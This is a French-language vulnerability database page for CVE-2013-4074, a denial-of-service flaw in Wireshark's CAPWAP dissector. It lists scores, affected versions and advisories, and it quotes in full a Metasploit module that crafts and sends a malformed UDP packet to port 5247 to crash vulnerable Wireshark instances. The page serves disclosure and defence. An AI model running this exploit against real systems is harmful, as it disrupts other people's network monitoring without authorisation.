CVE-2013-4074 : Détail

CVE-2013-4074

33.48%V4
Network
2013-06-09
19h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The dissect_capwap_data function in epan/dissectors/packet-capwap.c in the CAPWAP dissector in Wireshark 1.6.x before 1.6.16 and 1.8.x before 1.8.8 incorrectly uses a -1 data value to represent an error condition, which allows remote attackers to cause a denial of service (application crash) via a crafted packet.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 33556

Date de publication : 2014-05-27 22h00 +00:00
Auteur : j0sm1
EDB Vérifié : Yes

# # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Wireshark CAPWAP Dissector DoS', 'Description' => %q{ This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0 to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an incomplete packet. }, 'License' => MSF_LICENSE, 'Author' => [ 'Laurent Butti', # Discovery vulnerability 'j0sm1' # Auxiliary msf module ], 'References' => [ ['CVE', '2013-4074'], ['OSVDB', '94091'], ['BID', '60500'] ], 'DisclosureDate' => 'Apr 28 2014')) # Protocol capwap needs port 5247 to trigger the dissector in wireshark register_options([ Opt::RPORT(5247) ], self.class) end def run connect_udp # We send a packet incomplete to crash dissector print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...") # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then # the dissector crash # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000 buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15) udp_sock.put(buf) disconnect_udp end end

Products Mentioned

Configuraton 0

Wireshark>>Wireshark >> Version 1.6.0

Wireshark>>Wireshark >> Version 1.6.1

Wireshark>>Wireshark >> Version 1.6.2

Wireshark>>Wireshark >> Version 1.6.3

Wireshark>>Wireshark >> Version 1.6.4

Wireshark>>Wireshark >> Version 1.6.5

Wireshark>>Wireshark >> Version 1.6.6

Wireshark>>Wireshark >> Version 1.6.7

Wireshark>>Wireshark >> Version 1.6.8

Wireshark>>Wireshark >> Version 1.6.9

Wireshark>>Wireshark >> Version 1.6.10

Wireshark>>Wireshark >> Version 1.6.11

Wireshark>>Wireshark >> Version 1.6.12

Wireshark>>Wireshark >> Version 1.6.13

Wireshark>>Wireshark >> Version 1.6.14

Wireshark>>Wireshark >> Version 1.6.15

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Opensuse>>Opensuse >> Version 11.4

Opensuse>>Opensuse >> Version 12.2

Opensuse>>Opensuse >> Version 12.3

Configuraton 0

Wireshark>>Wireshark >> Version 1.8.0

Wireshark>>Wireshark >> Version 1.8.1

Wireshark>>Wireshark >> Version 1.8.2

Wireshark>>Wireshark >> Version 1.8.3

Wireshark>>Wireshark >> Version 1.8.4

Wireshark>>Wireshark >> Version 1.8.5

Wireshark>>Wireshark >> Version 1.8.6

Wireshark>>Wireshark >> Version 1.8.7

Références

http://www.exploit-db.com/exploits/33556
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/53762
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/54425
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.gentoo.org/security/en/glsa/glsa-201308-05.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.debian.org/security/2013/dsa-2709
Tags : vendor-advisory, x_refsource_DEBIAN
http://osvdb.org/show/osvdb/94091
Tags : vdb-entry, x_refsource_OSVDB
http://www.mandriva.com/security/advisories?name=MDVSA-2013:172
Tags : vendor-advisory, x_refsource_MANDRIVA